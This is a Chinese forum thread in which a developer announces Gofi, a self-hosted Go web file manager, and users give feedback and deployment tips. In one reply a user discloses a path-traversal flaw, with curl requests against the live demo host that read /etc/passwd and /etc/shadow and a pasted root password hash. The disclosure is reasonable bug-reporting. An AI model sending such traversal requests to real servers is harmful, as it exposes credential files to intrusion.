最近在继续学习 go 语言,又在折腾 nas,遂花了点时间写了一个简单的网盘 Web 应用,类似 filebrowser/filebrowser(非模仿,我也是快写好了才知道有一个轮子了)。
技术栈是 Golang + Ant Design Vue(几个月没写代码了,轻喷)
目前主要是我家庭局域网在用,没有做权限认证,所以没有任何安全性保证,请不要在公网上部署。
应该会断断续续更新,因为明年中旬结婚前可能都不准备当社畜了,所以这段时间主要是在筹备婚礼,减脂,写点小代码,等待判决书下达,思考人生。
Github 地址:
https://github.com/Sloaix/Gofi
更新计划:
https://github.com/Sloaix/Gofi/projects
上面 deadline 就不要当真了,因为每个月总有那么几天不想写代码:)。
希望对大家有点小用。
![]() | 1 Smash OP PS.可以在吃灰的 Android 手机上部署,我已经在 Nexus5 上部署成功。 |
![]() | 2 Smash OP |
![]() | 3 KasuganoSoras 2019-12-14 00:07:29 +08:00 界面好评,比隔壁某闭源网盘好看多了 |
4 wslwsl 2019-12-14 07:22:59 +08:00 via Android 好看,赞,最好手机端加个下载按钮就更方便了。 |
![]() | 6 slwl 2019-12-14 08:02:17 +08:00 via iPhone 什么时候加个权限控制,感觉很好用哈 |
![]() | 7 takemeh 2019-12-14 08:47:12 +08:00 ![]() |
![]() | 12 rootooroot 2019-12-14 10:33:46 +08:00 ![]() 任意文件下载 权限太高了 连 shadow 都可以读 http://129.226.186.76/api/download?path=../../../etc/passwd curl http://129.226.186.76/api/download\?path\=../../../../etc/issue Ubuntu 16.04.1 LTS \n \l curl http://129.226.186.76/api/download\?path\=../../../../etc/shadow root:$6$8jFcAk07$dZc99NqV8EtKk8mH53Ayi8gS8JhejmWemtppqCmC2Z0yj7vfMXxXrDMf |
13 jngke931126 2019-12-14 10:49:25 +08:00 @takemeh #7 你这个 webd 算是比较实用了,基本功能都有了,也没有楼上那个跨出目录读取任意文件漏洞。 期待一下能不能支持多用户呢,每个用户一个目录,相互之间能用权限分离控制。 以及 https 支持,这个部署到外网很有必要了。 同时非常好奇这些功能怎么到这么小体积的, 略微看了下,没有引用外部东西,可执行文件也没有压缩加壳。 意外的是 linux 可执行文件原来可以跨不同发行版运行啊,之前一直以为要重新编译。 你还应该好好做个网站,感觉正规一些,直接用个带端口的演示地址感觉对不起这个软件。 下载到的版本和演示版本外观不一样啊,还没有更新吗? 最后希望这种自建方案越来越多,选择多了那些公用盘才不会限速。 |
![]() | 14 Smash OP @rootooroot #12 看到了,谢谢老哥。我先把安全这块简单处理一下吧。 |
![]() | 15 takemeh 2019-12-14 11:30:10 +08:00 ![]() @jngke931126 webd 这个体积实现这些功能是正常的,本来就是很简单的东西。 一些 app 很大是因为增加了对用户没有必要的额外东西,或把部分功能前置到了客户端。 linux 的二进制兼容性本来就很好,只要不用到太高版本内核和 glibc 的特性基本没问题。 webd 只依赖内核和 C 运行库(glibc 或 musl) 你说的功能我尽量实现吧。演示版和下载到的不一样是因为正在开发中。 |
16 richzhu 2019-12-14 11:46:51 +08:00 界面满分,等完善了 权限控制,资源预览,文本在线编辑了再来用 哈哈~ |
![]() | 17 xyok 2019-12-14 12:10:03 +08:00 挺不错的,logo 图标也是自己设计的吗 |
18 alexliux 2019-12-14 13:29:23 +08:00 via Android star 学习一波 |
![]() | 20 Smash OP @takemeh 你的网盘挺好,体积小,加载速度快。我的 gofi 前端体积还没优化,放在香港的服务器上光加载 js 就挺慢了。 |
21 yukiloh 2019-12-14 13:56:18 +08:00 via Android 卧槽可以在安卓上跑这个就有点骚了,手上太多吃灰安卓 |
![]() | 22 FEDT 2019-12-14 14:17:11 +08:00 via iPhone 厉害 |
![]() | 23 Smash OP @yukiloh 在 Android 的 /data/local/tmp 目录下,adb 用户具有可执行权限。使用 nohup ./gofi &命令可以启动一个后台运行的 gofi 程序,我在 Nexus5,魅族 mx4 上都测试过了,可以完全运行,但是国内的定制手机对于 adb 用户的目录权限不一样,比如原生系统对 Storage 目录是具有读写权限的,但是我在 mx4 上就只有 /data/local/tmp 目录的读写权限。 |
![]() | 24 Smash OP @yukiloh 目前可以跑,但是挂了之后不能重启,所以如果要在 Android 上跑,还需要搞一个守护进程用来重启 Gofi,这样才能保证稳定性。 |
![]() |
![]() | 26 Smash OP @crella release 页面已经编译好了,我默认编译了 MacOS/Windows/Linux/Android(Arm)这几个常用的平台 |
![]() | 27 slwl 2019-12-14 17:16:03 +08:00 吃灰派用来干这个如何 |
![]() | 29 Smash OP |
![]() | 30 keepeye 2019-12-14 17:42:31 +08:00 我想起了 13 年毕业设计,用 php 撸了个网盘系统,还是分布式存储的 |
![]() | 31 crella 2019-12-14 17:51:28 +08:00 via Android 我在 win7 上启动进程成功,打开网页会发生错误,网页右上角弹出窗口提示错误:undefined。 从 release 最近一个 win64 的链接下载的。不知道是不是没设定文件夹? |
![]() | 33 Smash OP @crella 自动获取局域网 ip 出错了,你可能有多个网卡。我这边复现了,你先手动指定一下 ip 吧。用命令行运行 gofi.exe -ip <你的局域网 ip 或者 127.0.0.1> |
![]() | 35 crella 2019-12-14 18:25:17 +08:00 via Android 是的,有 vmplayer 网卡和直升机跑道 |
![]() | 37 crella 2019-12-14 19:34:56 +08:00 ![]() 我给本机上的虚拟机 linux 上的 gofi 上传一个 700M 的 iso,多次提醒 You have reached maximum request limit. 好奇问一下是什么意思?  |
![]() | 38 SteveAlan 2019-12-14 21:06:56 +08:00 界面是用的 ant design 吗? |
![]() | 39 Smash OP |
41 Hoshizora 2019-12-14 22:44:08 +08:00 via Android 0.5 arm 的那个在手机上运行不了,0.4 的可以,当初始化失败,好像是 sqlite 那出问题了 |
![]() | 44 Tink PRO 开源好评 |
![]() | 45 Smash OP @crella v0.5.1 已经 release 并修复. gofi-v0.5.1-windows-4.0-amd64.exe |
![]() | 46 Smash OP |
47 bijue 2019-12-16 07:30:46 +08:00 via Android 等待什么判决书? |
![]() | 48 Maboroshii 2019-12-16 11:16:47 +08:00 看了一下只有配置项保存在了 sqlite 里,用 json 保存在文件里我觉得也行,毕竟量不大。 sqlite 用了 cgo,不方便交叉编译呀。 |
![]() | 49 Smash OP @Maboroshii 目前是可以这样,配置项用文本文件存储,但是我想到后面要做权限认证,这个还是用数据库更方便一些。交叉编译这块目前用的开源库 xgo 实现的。 |
![]() | 51 vix 2019-12-17 12:30:46 +08:00 via Android 以前也是玩着实现了个,不过好久没维护了,惭愧。 |
53 caik13 2019-12-18 11:26:19 +08:00 感谢分享,找了好久 golang 这种的 |
![]() | 54 tallest 2019-12-20 15:04:52 +08:00 <img width="419" alt="QQ20191220-145442@2x" src="https://user-images.githubusercontent.com/10476982/71236057-e841f980-2338-11ea-96c0-58da417ca30f.png"> |
55 lijixi 2019-12-27 16:05:33 +08:00 今天简单研究了几个私有网盘,请教:@smash 您的这个项目比 [filebrowser]( https://github.com/filebrowser/filebrowser) 强在何处呢? |